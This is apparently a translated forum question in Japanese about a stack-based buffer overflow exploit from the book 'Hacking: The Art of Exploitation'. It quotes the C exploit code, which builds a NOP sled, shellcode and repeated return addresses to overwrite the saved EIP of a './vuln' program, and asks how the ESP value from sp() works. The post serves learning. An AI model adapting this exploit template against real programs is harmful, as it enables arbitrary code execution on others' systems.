これはこれに関連している可能性がありますが、同じボートに乗っているかどうかはわかりません。
そこで、Hacking: The Art of Exploitation を読み直しましたが、この本の C コードのいくつかについて質問があります。
私たちが 2000 年まで戻ってきて、スタック Cookie と ASLR を実際には持っていないと仮定しましょう (おそらく持っているかもしれませんが、実装されていないか、普及していません)、または現在私たちが持っている他のタイプの保護-日。
彼は、単純なスタックベースのオーバーフローを悪用する次のコードを示しています。
#include <stdlib.h>
char shellcode[] = "..." // omitted
unsigned long sp(void)
{ __asm__("movl %esp, %eax); }
int main(int argc, char *argv[]) {
int i, offset;
long esp, ret, *addr_ptr;
char *buffer, *ptr;
offset = 0;
esp = sp();
ret = esp - offset;
// bunch of printfs here...
buffer = malloc(600);
ptr = buffer;
addr_ptr = (long *) ptr;
for(i = 0; i < 600; i+=4)
{ *(addr_ptr++) = ret; }
for(i = 0; i < 200; i++)
{ buffer[i] = '\x90'; }
ptr = buffer + 200;
for(i = 0; i < strlen(shellcode); i++)
{ *(ptr++) = shellcode[i]; }
buffer[600-1] = 0;
execl("./vuln", "vuln", buffer, 0);
free(buffer);
return 0;
}
彼がやりたいことは、ESP のアドレスを取得し、保存された EIP をそのアドレスで上書きすることです。これにより、プロセッサはメモリ内の NOP スレッドにジャンプし、スタック内のシェルコードを実行します。
私が理解していないのは、sp() から取得した特定の ESP 値を、呼び出した時点でどのように使用できるかということです。
私が理解していることから、スタックは次のような「何か」に見えます。
...
saved ebp <-- execl
saved eip
"./vuln"
"vuln"
buffer
0
*ptr <-- sp() returns this address?
*buffer
*addr_ptr
ret
esp
offset
i
saved ebp <-- main
saved eip
argc
argv
...
彼は (関数ポインタであることはわかっているので、完全に正確な言い回しではないと思いますか?) sp() をエクスプロイトの早い段階で呼び出すので、悪い ESP アドレスを与えるべきではありませんか? さらに言えば、彼がここでその手法をどのように使用できるかさえわかりません。なぜなら、彼は脆弱なプログラム内のバッファーの先頭を指す ESP を決して取得しないからです。
ありがとう。